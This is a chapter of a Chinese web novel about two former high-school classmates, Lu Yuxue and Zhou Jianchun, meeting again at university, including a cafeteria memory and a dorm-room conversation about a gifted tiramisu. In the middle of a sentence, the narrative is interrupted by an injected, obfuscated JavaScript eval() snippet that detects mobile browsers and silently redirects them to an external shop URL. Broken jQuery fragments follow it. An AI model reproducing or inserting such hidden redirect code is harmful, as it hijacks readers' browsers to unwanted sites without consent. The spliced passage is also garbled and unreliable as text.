18. 你俩谈啦
    她踩点踩得很准,刚坐好,禁止入场的广播就响了起来。

    考试时间不长,但应付合格考足矣。卢郁雪写完无聊地趴在桌子上看窗外飞雪逐渐停歇,不明白为什么科任老师吹得那么玄乎,还以为多难呢。

    上午共两场,物理和政治,考完政治去师大附中的食堂吃饭。

    飘了一个上午的雪只在绿化带上积了薄薄一层,轻轻一碰就哗哗掉落融成水。

    卢郁雪抬头看着天空,觉得下午应该会晴。

    云层很薄,还透着光呢。

    中间休息的时间太短,只能在附中吃饭。学校发了餐票,但卢郁雪没买,宋芷兰初中在师大附中,得知她考点在这特意往饭卡充了钱借给她用。

    这不比餐票好用,想吃什么吃什么。

    合格考期间其余年级放假,师大附中只开了一个食堂,卢郁雪的考场离食堂又远,她背着书包找到位子的时候已经有不少人吃完离开。

    无所谓,闲着也是闲着,人少还省排队了。

    每个窗口除了打饭,还赠有酸奶水果。卢郁雪站在后面垫着脚东张西望生怕排到自己没有了。

    还好还好,供应量充足。

    旁边队伍的男生和阿姨在说什么,隔着玻璃窗,卢郁雪也听不清。

    “小姑娘,你吃什么?”

    卢郁雪叽里咕噜报了一大串菜名,转头继续盯着旁边队伍的动静。

    “你不要酸奶啊?这恐怕不行,每个学生都得拿。”

    第一次听到这个要求的食堂阿姨严词拒绝挑食的学生,强硬地把酸奶放在他的餐盘。

    男生没有言语,转身要往队伍后走。

    卢郁雪没带水杯一上午渴得要死,反正大家也不认识,她直接上去拍了拍这位男生的肩膀。

    “同学,你不要酸奶能给我吗?”

    少年闻声抬眸,两人的视线撞在一起。卢郁雪心猛地跳了一下。

    卢郁雪没想到这个人会是周见春,虽然带着口罩,但她还是认出来了。

    他抬眼看向卢郁雪,神色平静也没有说话,只是把酸奶和吸管一起塞到卢郁雪手中。

    那是直接掰开的酸奶排,小小一个一口就能喝完。掰开的边缘并不光滑,塑料刮过她的掌心,有点刺挠但不算疼。

    少年的指尖是浅粉色,垂下的时候修长又纤细,卢郁雪呆呆站着连谢谢都没有说出口。

    “小姑娘,你的饭。”

    窗口阿姨敲了敲台面,卢郁雪晃过神来,从口袋里摸出饭卡刷钱。

    男生站在原地,看清她递出的是饭卡不是餐票。

    只有师大附中的人才会刷卡。

    周见春这样想。

    “所以,你当时真的没认出我?”

    三年过去,卢郁雪的长相没有多大变化。杏眼窄双眼尾上扬,笑起来会有卧蚕,弯如新月。

    周见春这时才把眼前的人和过去的场景重合,原来他没有认错,只是因为师大附中的饭卡否定了自己。

    “可我一眼就认出了你诶。”她放下奶茶,认真地盯着周见春说。

    她说得平和,没有一点埋怨和委屈,甚至有点少女的娇俏。没有要求周见春给出什么解释,只是对过去的打趣。

    但周见春能明白,明白她的失落,他垂下眼帘。

    卢郁雪心口闪过一丝悸动,但很快平息,是她越界了。

    周见春这样细腻的人,怎么会听不出来她话里的埋怨,可那时他们交集甚少,他也没有义务为那时自己没有认出卢郁雪负责。

    风从指缝穿过,时间也是这样,她又在纠结什么呢。

    “走吧。”

    “我当时其实认出了你。”

    周见春的声音拔高了几度,压过内心所有的纠结踌躇,他拒绝还在计较得失的理性,由着这股上头的情绪说出真正所想。

    “但我不确定是不是你,我不知道你和我一个考点,我也不知道你初中是师大附中的。所以,所以……”

    他越说声音越小,眨眼的频次也高了起来。

    “对不起。”

    想来想去,他还是说了这句话。

    卢郁雪扑哧一声笑出来,歪着头看周见春垂头丧气的模样觉得好笑。

    “没认出来就没认出来呗,你不用道歉,而且我也不是师大附中的,那是宋芷兰的母校,我用她的饭卡。”

    “哦哦,这样啊,那,那你是喜欢喝那个牌子的酸奶吗?明天早八我给你带一瓶吧。”

    “啊?”卢郁雪不知道话题怎么又歪到酸奶上去。

    “不喝的话,那我送你回去吧。”

    周见春自己将话圆了回去,卢郁雪憋着笑一言不发。

    梅园是地理位置比较偏远,回宿舍也必定会经过随园,但如果不专门送她,从食堂穿过去会更近一点。

    从天悦府过来到这有半个多小时,她怕耽误周见春兼职。

    “你下午还有其他事情吗,会不会太麻烦?”

    “不兼职,不麻烦。”

    卢郁雪不得不承认,周见春的心思很敏锐,眼前的周见春远比她高中时候所认识的要丰满得多。

    可时至今日,她对周见春的了解依然停留在浅薄片面的层次。

    那周见春现在这样亲近自己,是因为自己帮她找了不抽成家教礼貌地客气,还是因为高中拒绝自己表白抱有歉意。

    卢郁雪不敢细问,她怕再问下去,这个疙瘩就越不过去了。

    虽然,原本也不怎么熟。

    就当他只是感谢自己,这也没什么,她应得的。

    他们并肩走着,谁也没有再说话。卢郁雪停在一棵金黄色的梧桐树下,指着不远处的随园二栋说:“我到了。”

    他止了步子点点头。

    阴云密布但没有下雨,风不知从哪个云层卷了点雨水过来,卢郁雪觉得面上有潮湿的水汽,抬手去接却什么都没有。

    “跑步的事看天气吧,如果下雨就算了,容易感冒。我先走了,拜拜。”

    她的掌心粉白眼神清亮,黯淡的天色下轻轻挥了挥像是春日的鲜桃。周见春的视线停留在卢郁雪身上迟迟不肯开口。

    见她蹙着眉似乎有些生气自己一直不说话,周见春俯身凑近,别有意味地开口:“谢谢关心,下雨我知道回家。”

    卢郁雪不知道周见春刚刚那几秒里想了什么,也不知道怎么走了几步路就像变了一个人,怎么能说出这样的话来。

    刚刚那个手足无措的周见春去哪了?

    她把手缩回了口袋插着兜瞪他:“我关心我自己手机好不好,万一进水了怎么办。我不跟你说了,马上要下雨了,你再不走等着挨淋吧。”

    她说完拔腿向自己宿舍楼跑去,连周见春那声再见都没有听到。

    自己果然对周见春了解太少,他和自己以为的完全不一样。

    和她猜得一样,没过多久又下起了雨,她吃着外卖拉着帘子在宿舍追剧。叶敏用伞捣开宿舍门,单手提着行李箱进了门。

    卢郁雪按了暂停起身去帮叶敏拿伞,折叠起来的伞面下她的两根手指头还挂着袋子。

    伞随手

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054758|149148||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    扔在了地上,叶敏把箱子推到自己衣柜旁,将其中一个袋子递给卢郁雪。

    “什么呀,请我的?”

    “不是我说,你和周见春搞什么,你俩谈啦?”

    “哈?”

    包装精致的小蛋糕搁在她的桌上,卢郁雪看清了里面的样式。

    提拉米苏。

    周见春送她的吗?为什么是提拉米苏,她也没说过自己爱吃。

    见卢郁雪盯着蛋糕沉思,叶敏顿觉不妙,她只是随口一说怎么国庆七天假过去,两个毫不相关的两个人就谈上了。

    沉溺在自己思维里的卢郁雪这才发觉有一道目光还在注视自己,她转过身来解释:“不是,我没有,我和他就是同学,我们俩高中同学。”

    叶敏累得够呛,双手叉腰下巴一扬,“那,那是什么,怎么人家平白无故送你。”

    “我不知道啊,你,你不是也有吗?”她结结巴巴地指着叶敏的桌面为自己辩驳。

    她真想扒开卢郁雪的眼皮让她仔细看看,这能是一样用心的东西吗?指名道姓把提拉米苏给卢郁雪,另一个切块千层给自己。

    “说正经的。我来时候在楼下看见周见春,他让我帮忙把蛋糕带上来。我问他为什么不让你下来拿,他说不知道你想不想吃。”

    “我以为他还因为踩你伞那事道歉呢,说你什么都吃,他就给我了。”

    叶敏靠着椅背单手支着下巴,说得随意但一直留心卢郁雪的反应。

    “他站很久吗?现在还在楼下吗?”

    聊天框没有新的消息弹出,如果不是叶敏遇到周见春,他可能还会站得更久而自己一无所知。

    “当然走了呀,东西我都拿上来了,你俩怎么回事?你不是说,计算机考试那天第一次见,怎么现在又成高中校友了?”

    “就同学啊,我们都是十九中毕业的,偶尔升旗课间操会碰见。”

    她别开叶敏直勾勾的视线,扶着椅子坐下,开始拨弄塑料袋,希望在她大声的赞美里叶敏的注意力可以转到食物上。

    但她忘了叶敏是一个能在十佳歌手现场写辩论稿的狠人,这样的干扰对她来说,微乎其微。

    叶敏走到卢郁雪桌旁抓了一个小马扎坐下准备审问她,卢郁雪哭丧着脸解释道:“我和他真不熟。”

    “不信。”

    “我们三年都没有在一层楼,他高中时候是个冷脸男,估计都不知道我叫什么。”

    “不信。”

    “我就有一次回家发现他和我住一起,说了几句话,真的没有再说过话了。”

    “不信。”

    “我高考完和他表白被拒绝了。”

    “不,什么!”

    单手拖着下巴的叶敏面无表情重复两个字,准备和卢郁雪一直耗下去。但只蹦出一个字,她的大脑突然意识到刚刚卢郁雪说了什么话。

    “不是,凭什么?他凭什么拒绝你?他长得很帅吗?你也很漂亮呀。”

    她站起来把卢郁雪已经打开的提拉米苏推到桌子边,指着包装盒郑重地说:“你,不许吃他的东西,也不许和他在一起。”

    “啊?不是,不是,你听我说,我没有和他在一起,你误会了。”卢郁雪慌乱地解释道。

    叶敏根本不听,用力拍了卢郁雪的桌面愤然说道:“我跟你说,他现在肯定是后悔了。”

    “不过他为什么拒绝你?”

    高中说不喜欢人家大学巴巴往前凑,不是渣男就是有病,只喜欢不喜欢自己的人。

    “拒绝能有什么原因,不喜欢呗。”